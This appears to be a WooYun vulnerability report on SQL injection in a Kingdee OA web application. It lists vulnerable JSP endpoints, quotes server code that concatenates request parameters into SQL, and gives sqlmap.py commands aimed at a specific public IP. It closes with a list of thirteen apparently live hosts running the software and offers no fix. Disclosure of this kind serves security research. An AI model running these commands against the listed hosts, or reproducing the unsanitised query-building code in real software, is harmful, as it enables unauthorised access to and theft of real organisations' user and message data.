WooYun.org

/kingdee/login/comm_user.jsp?sel_type=1 sel_type存在漏洞
/kingdee/flow_performance/flow_performance_view_case_modify.jsp?id=1 id存在漏洞
/kingdee/flow_performance/get_one_view_case.jsp?id=1 id存在漏洞
/kingdee/login/addmsg.jsp?user_id=1&receiveid=all user_id存在漏洞
/kingdee/login/InstantMessage.jsp?receiveid=1  receiveid存在漏洞

<%
String id = PubFunc.toString(request.getParameter("id"));
TableCtrl db = new TableCtrl();
String sql  = "select name,";
//...
sql += "a.use_part_id ";
sql += "from x_flow_performance_view_case a where id="+id;
Vector vec = db.open(sql);
//...
}

sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/flow_performance_view_case_modify.jsp?id=1"

String id = PubFunc.toString(request.getParameter("id"));
TableCtrl db = new TableCtrl();
String sql  = "select id,name,";
sql += "a.search_case,";
sql += "a.type,";
sql += "a.analyse_value,";
sql += "a.data_value,";
sql += "a.memo,";
sql += "a.isdefault ";
sql += "from x_flow_performance_view_case a where id="+id;
Vector vec = db.open(sql);
if(vec.size() == 0){
	out.println("ERR");
	return;
}

sqlmap.py -u "http://221.226.149.17:8080/kingdee/flow_performance/get_one_view_case.jsp?id=1"

if(null==updatemsg||updatemsg.equals("")){
	String index_id = (db.maxId("basic_oicq","index_id")+1)+"";
	if(receiveid.equals("all")){
		String temp[]=db.getFieldArr("select user_id from basic_user where user_id>0 and user_id<>"+user_id+" and del_mark=0 and status=0 order by sort");
		ServiceRoot.getInstance().newService("30","0","创建",user_id,"",temp,true,null);
		ServiceRoot.getInstance().newLogs(user_id,ServiceRoot.getInstance().getPersonnel().getUserValue(user_id,"user_name")+"发送了一条即时消息给所有人");
		String user_ids="";
		for(int i=0;i<temp.length;i++){
			if(i==0){
				user_ids+=temp[i];
			}else{
				user_ids+=","+temp[i];
			}
		}

sqlmap.py -u "http://221.226.149.17:8080/kingdee/login/addmsg.jsp?user_id=1&receiveid=all"

String sql = "select a.user_name,b.department_name,a.user_title,a.title_type,a.telephone,a.address,a.login_name,a.user_id,a.hand_telephone,a.isSendMes,a.sort,(select status from basic_user_status where user_id=a.user_id) as 'status' from basic_user a,basic_org b where ('0' in (select department_id from prms_bbsdept where user_id="+user_id+") or B.department_id in (select department_id from prms_bbsdept where user_id="+user_id+")) and a.del_mark=0 and a.status=0 and a.department_id=b.department_id and a.user_id>0";
sql+=Mail.sql_or_array(sel_name," a.user_name like '%#%'","and","");
sql+=Mail.sql_or_array(sel_dept," b.department_name like '%#%'","and","");

sqlmap.py -u "http://221.226.149.17:8080/kingdee/login/comm_user.jsp?sel_type=1"

<%
String receiveid=request.getParameter("receiveid");
 if(receiveid==null ||receiveid.equals(""))
 	out.println("") ;
TableCtrl db = new TableCtrl();
Vector vec;
String str="";
if(receiveid.equals("all"))
 	vec= db.open("select B.user_name ,A.sedtime,A.msg,A.sendid from basic_oicq A,basic_user B  where B.user_id=A.sendid and sendid<>"+session.getAttribute("user_id")+" and receiveid='all' and is_all=2 and ','"+PubFunc.getDSChar()+"A.isread"+PubFunc.getDSChar()+"',' not like '%,"+session.getAttribute("user_id")+",%' order by sedtime ");
else
 	vec= db.open("select B.user_name ,A.sedtime,A.msg,A.sendid from basic_oicq A,basic_user B  where B.user_id=A.sendid and  A.isread='0' and A.receiveid="+session.getAttribute("user_id")+" and A.sendid='"+receiveid+"' and is_all=2 order by sedtime ");
for(int i=0;i<vec.size();i++){
	String temp[]=(String[])vec.elementAt(0);
	str=("<font style=\"font-size: 14px;color: #1B25EF;\">"+temp[0]+"("+temp[1]+")</font><br><font style=\"font-size: 14px\">"+temp[2]+"</font><br>");
}
out.println(str) ;
 %>

sqlmap.py -u "http://221.226.149.17:8080/kingdee/login/InstantMessage.jsp?receiveid=1"

http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://122.139.60.103:800/kingdee/login/loginpage.jsp
http://oa.guanhao.com:8080/kingdee/login/loginpage.jsp
http://222.179.238.182:8082/kingdee/login/loginpage2.jsp
http://222.134.77.23:8080/kingdee/login/loginpage.jsp
http://221.4.245.218:8080/kingdee/login/loginpage.jsp
http://221.226.149.17:8080/kingdee/login/loginpage.jsp
http://220.189.244.202:8080/kingdee/login/loginpage.jsp
http://222.133.44.10:8080/kingdee/login/loginpage.jsp
http://223.95.183.6:8080/kingdee/login/loginpage.jsp
http://61.190.20.51/kingdee/login/loginpage.jsp
http://60.194.110.187/kingdee/login/loginpage.jsp
http://oa.roen.cn/kingdee/login/loginpage.jsp